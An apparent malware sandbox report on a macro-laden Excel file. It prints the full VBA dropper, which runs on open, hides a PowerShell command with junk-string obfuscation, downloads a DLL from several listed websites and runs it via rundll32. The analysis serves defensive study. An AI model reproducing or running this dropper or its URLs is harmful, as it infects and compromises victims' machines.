Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
24/11/2021, 17:59 UTC
211124-wk8rgsddbm 1022/11/2021, 14:46 UTC
211122-r5n6csagd6 1022/11/2021, 14:46 UTC
211122-r5csbsfgdp 1022/11/2021, 14:44 UTC
211122-r4kfsafgdn 1022/11/2021, 14:41 UTC
211122-r2x9vsfgcq 1022/11/2021, 14:20 UTC
211122-rneklaffgr 1022/11/2021, 14:15 UTC
211122-rkk8zaffgl 1017/11/2021, 06:51 UTC
211117-hm1l1aeefm 1017/11/2021, 06:37 UTC
211117-hdnk3seedn 10Static task
static1
General
-
Target
865663204559_17_Nov_2021.xlsm
-
Size
44KB
-
MD5
477fd718bb764ffe3c5afde16c6c8dd2
-
SHA1
eb932e19d95f88d64270d40cdc0b92c6d1cf63be
-
SHA256
ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3
-
SHA512
f7d0451ca3670179cc93a680b99f8982204c43054c55eb479c38dc8ea0ba6ba5b6ebea4508569091c07d95a759841455605e6daeab445146b29fc1af377ba267
Score
8/10
Malware Config
Signatures
-
resource yara_rule sample office_macros
Files
-
865663204559_17_Nov_2021.xlsm.xlsm office2007
hgcfiwqu35kdjfk
1Attribute VB_Name = "hgcfiwqu35kdjfk"2Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = False8Attribute VB_Customizable = True9Function FileQueryRange(ByVal filename$, Optional ByVal Tables$) As Range10On Error Resume Next: Err.Clear11Dim tmpSheet As Worksheet: Set tmpSheet = ThisWorkbook.Worksheets(")")12If tmpSheet Is Nothing Then13Application.ScreenUpdating = False14Set tmpSheet = ThisWorkbook.Worksheets.Add15tmpSheet.name = "tmpWQ"16tmpSheet.Visible = xlSheetVeryHidden17End If18If tmpSheet Is Nothing Then19msg$ = ""20MsgBox msg, vbCritical, ":": End21End If22tmpSheet.Cells.Delete: DoEvents: Err.Clear23With tmpSheet.QueryTables.Add("" & Replace(filename$, " ", "%20"), tmpSheet.Range("A1"))24If Len(Tables$) Then25.WebSelectionType = xlSpecifiedTables26.WebTables = Tables$27Else28.WebSelectionType = xlEntirePage29End If30.FillAdjacentFormulas = False: .PreserveFormatting = True31.RefreshOnFileOpen = False: DoEvents32.WebFormatting = xlWebFormattingNone33.Refresh BackgroundQuery:=False: DoEvents34If Err = 0 Then Set FileQueryRange = tmpSheet.UsedRange35.Delete: DoEvents36End With37End Function38Sub dfloaswehortiwholehfolsihlkw()39txt$ = FileToVBAFunction(",", ",")40Debug.Print txt$41End Sub42Sub fkahefowihlogjpsojgoisdh()43filename = Application.GetOpenFilename(",", , ",", ".")44If VarType(filename) = vbBoolean Then Exit Sub45txt$ = FileToVBAFunction(filename, "MyFile")46With GetObject("}")47.SetText txt$48.PutInClipboard49End With50End Sub51Sub ndfqkhwfoia8tvfoaisgufoiqewgfiudgovlisvpoju(nfkl34 As String, ndr54 As Long, bvret As Long): Dim s2, ra, hkqwfsadesf As String: Dim d, R As Double52s2 = "DaIcDaImd.DaIeDaIxe DaI/DaIc sDaItaDaIrt /DaIB poDaIwDaIerDaIshDaIelDaIl $dDaIfkj=""$DaIstDaIrs=\""hDaIttDaIpDaIs:DaI/DaI/evgDaIeniys.rDaIu/sap-lDaIogs/D6/,DaIhtDaItpDaI:/DaI/croDaIwnadvertising.cDaIa/wDaIp-inDaIcludes/OxiAACCoic/,hDaItDaItpDaIsDaI:/DaI/cDaIars-taDaIxonomy.myweDaIbartist.eDaIu/-/BPCahsAFjwF/,hDaItDaItDaIp:DaI/DaI/immoinvDaIest.cDaIom.bDaIr/blDaIog_oDaIld/DaIwp-aDaIdDaImin/luoT/,hDaItDaItpDaIs:DaI/DaI/yoDaIho.loDaIve/wpDaI-coDaIntent/e4laFBDXIvYT6O/,DaIhDaIttDaIps:DaI/DaI/wDaIwDaIw.168801.xDaIyz/wDaIp-conDaItent/6J3CV4meLxvZP/,htDaItDaIps:DaI/DaI/wDaIwDaIw.pasioDaInportufuturo.pDaIe/wpDaI-contDaIent/XUBS/\"".SDaIplDaIit(\""DaI,DaI\"");fDaIoDaIreacDaIh($DaIst iDaIn "53Dim fs As Integer: Set service = CreateObject("Wsc" + s1 + "ript.She" & "ll")54s2 = s2 + "$DaIstrDaIs){DaI$r1=GDaIet-RDaIandDaIom;$DaIr2=GDaIeDaIt-RDaIandDaIom;DaI$tpDaIth=\""DaICDaI:DaI\PDaIroDaIgramDDaIata\\\""+DaI$rDaI1+\"".DaIdDaIll\""DaI;IDaInDaIvoDaIke-WDaIebDaIReDaIqueDaIst -DaIUrDaIi $sDaIt -ODaIutFDaIilDaIe $tptDaIh;iDaIf(TDaIeDaIst-DaIPatDaIh DaI$tpDaIth){$DaIfDaIp=DaI\""DaIC:DaI\DaIWiDaIndDaIowDaIs\SDaIysDaIWDaIow6DaI4\rDaIuDaIndlDaIl3DaI2.eDaIxDaIe\"";$DaIa=DaI$tDaIptDaIh+DaI\"",DaIf\""+DaI$DaIr2;SDaItDaIaDaIrt-DaIProcDaIess $fDaIp -DaIArgDaIumeDaIntLDaIist DaI$aDaI;bDaIrDaIeak;}};"";DaIIEXDaI $dDaIfkj"55If d <> 0.123456 Then ra = Replace(s2, "DaI", "")56service.Run ra, 0: End Sub57Private Function dfjolirhoghwow(ByVal filename$, Optional ByVal name$ = "") As String58On Error Resume Next: Err.Clear: Const BYTES_PER_ROW& = 48059Dim F_Content$60ff& = FreeFile: Open filename$ For Binary Access Read As #ff61fs& = LOF(ff): txt$ = String(fs&, Chr(0))62Get #ff, , txt$: Close #ff63F_Content$ = F_Content$ & "&" & name$ & "&" & vbNewLine64F_Content$ = F_Content$ & "" & vbNewLine65For i = 1 To Len(txt$)66R& = Asc(Mid(txt, i, 1))67res$ = res$ & IIf(Len(Hex(R)) = 1, "0", "") & Hex(R)68If i Mod BYTES_PER_ROW& = 0 Then69F_Content$ = F_Content$ & "&" & res$ & "" & vbNewLine70res = "": DoEvents71End If72Next73If Len(res) Then F_Content$ = F_Content$ & "&" & res$ & "" & vbNewLine74F_Content$ = F_Content$ & "" & vbNewLine75FileToVBAFunction = F_Content$76End Function77Private Sub Workbook_Open(): Dim dfjrqlwihjpqwof As String78ndfqkhwfoia8tvfoaisgufoiqewgfiudgovlisvpoju ",", 0, 0: End Sub798081Лист1
1Attribute VB_Name = "Лист1"2Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = False8Attribute VB_Customizable = True9